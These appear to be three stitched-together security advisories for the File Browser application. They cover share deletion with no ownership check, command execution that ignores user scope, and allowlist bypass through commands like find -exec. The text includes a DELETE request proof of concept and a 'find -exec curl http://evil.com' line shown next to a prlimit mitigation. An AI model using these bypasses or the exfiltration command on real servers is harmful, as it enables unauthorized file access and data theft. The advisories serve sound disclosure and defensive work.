The impact is significant as malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.
Details Technical Analysis
The vulnerability exists in /http/share.go at lines 72-82. The shareDeleteHandler function processes deletion requests using only the share hash without comparing the link.UserID with the current authenticated user's ID (d.user.ID). This missing authorization check enables the vulnerability.
var shareDeleteHandler = withPermShare(func( http.ResponseWriter, r http.Request, d data) (int, error) { hash := strings.TrimSuffix(r.URL.Path, "/") hash = strings.TrimPrefix(hash, "/")
if hash == "" { return http.StatusBadRequest, nil }
err := d.store.Share.Delete(hash) // Missing ownership validation return errToStatus(err), err })
PoC Reproduce Steps:
Prerequisites: Two authenticated user accounts (User A and User B) with share permissions
Step 1: User A creates a share link and obtains the share hash (e.g., MEEuZK-v)
Step 2: User B authenticates and obtains a valid JWT token
Step 3: User B sends DELETE request to /api/share/MEEuZK-v with their own JWT token
Step 4: Observe that User A's share is deleted without authorization
DELETE /api/share/MEEuZK-v HTTP/1.1 Host: filebrowser.local Content-Type: application/json
Impact
The impact is significant as malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.
Summary ##
In the web application, all users have a scope assigned, and they only have access to the files within that scope. The Command Execution feature of Filebrowser allows the execution of shell commands which are not restricted to the scope, potentially giving an attacker read and write access to all files managed by the server.
Impact ##
Shell commands are executed with the uid of the server process without any further restrictions. This means, that they will have access to at least
all files managed by the application from all scopes, even those the user does not have access to in the GUI. the Filebrowser database file containing the password hashes of all accounts.
The concrete impact depends on the commands being granted to the attacker, but due to other vulnerabilities identified ("Bypass Command Execution Allowlist", "Shell Commands Can Spawn Other Commands", "Insecure File Permissions") it is likely, that full read- and write-access will exist.
Read access to the database means, that the attacker is capable of extracting all user password hashes. This enables an offline dictionary attack on the passwords of all accounts, though the choice of the password hash function (bcrypt with a complexity of 10) gives a strong protection against such attacks. Write access to the database means that attackers are capable of changing a user's password hash, allowing them to impersonate any user account, including an administrator.
Vulnerability Description ##
Shell commands executed by a user are created as a simple subprocess of the application without any further restrictions. That means, that they have full access to files accessible by the application. The scope that is assigned to every account is not considered.
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
Any exploit highly depends on the commands granted to the attacker. The following screenshot shows, how all password hashes can be extracted using only the grep command:
!image
Recommended Countermeasures ##
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. As a defense-in-depth measure, organizations not requiring command execution should operate the Filebrowser from a distroless container image.
There are two approaches to fixing this issue:
1. Limiting the process when it is started e.g., by using user namespaces with a tool like Bubblewrap. If this path is chosen, it is important to use a method that works both on a bare-metal server and within an unprivileged container. 2. Re-architecting the command execution feature so that file in the various scopes have a distinct uid as an owner and all shell command are executed under the uid of the user's scope.
Timeline ##
2025-03-26 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References ##
Sandboxing Applications with Bubblewrap: Securing a Basic Shell "Distroless" Container Images.
Credits ##
Mathias Tausig (SBA Research)
Summary ##
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact ##
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description ##
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview:
<https://gtfobins.github.io/gtfobins/cpio> <https://gtfobins.github.io/gtfobins/find> <https://gtfobins.github.io/gtfobins/sed> <https://gtfobins.github.io/gtfobins/git> <https://gtfobins.github.io/gtfobins/env>
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
!image
Recommended Countermeasures ##
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
bash $ find . -exec curl http://evil.com {} \; <HTML> <HEAD> [...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline ##
2025-03-26 Identified the vulnerability in version 2.32.0 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References ##
prlimit "Distroless" Container Images. Credits ##
Mathias Tausig (SBA Research)